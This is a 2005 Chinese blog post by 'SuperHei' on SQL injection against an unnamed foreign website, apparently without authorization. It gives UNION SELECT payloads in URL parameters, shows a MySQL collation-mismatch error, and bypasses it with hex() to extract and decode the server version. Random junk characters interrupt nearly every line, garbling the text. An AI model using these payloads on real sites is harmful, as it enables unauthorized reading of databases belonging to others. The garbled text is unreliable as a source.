本文作者:SuperHei
# P, X* y' ]3 t0 ~! L文章性质:原创7 c3 M. T! s/ C2 u' H
发布日期:2005-10-18
. ~5 w; X$ O9 l# N/ _% x3 K! I. Q测试个国外的站时:5 N3 F0 o4 Y6 S0 r( z% ]
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
( v1 X2 T3 D! E% q( E5 L1 M返回错误:' \* a& I8 {2 z$ ~) i0 q# _ F
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'. v$ n' I+ k5 r* v
MySQL Error No. 126
( [8 H9 x; m8 @% j4 ~- L看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
& `8 R' |/ n; ~1 B解决办法:转为其他编码如hex。
/ b* S6 k8 ?( L4 j W) Kurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*/ f5 }- k1 r- D
成功得到hex(version())的值为:
, O& u# \9 \8 D$ E6 y( w342E312E332D626574610 Z( l( w2 Q9 U6 {" x( O
回Mysql查询下得到:$ e# ?' F9 R$ V5 I, S- a; N. y
mysql> select 0x342E312E332D62657461;
" f% l+ s( `! u3 j+------------------------+
6 a3 S, q0 {4 f' L1 i" L9 ?# }! W| 0x342E312E332D62657461 |
* s! I" L5 u1 t* [7 N/ E+------------------------+$ d' s ]% n% ^; q* X$ x
| 4.1.3-beta |& O2 `2 ^5 k- T1 v1 F E
+------------------------+' T7 b/ h" q u7 L8 O
1 row in set (0.00 sec)
! K7 v! Y; r0 x! g9 ]+ {% u4 s
$ X$ Z, _4 @' C8 ~6 F8 E$ [ |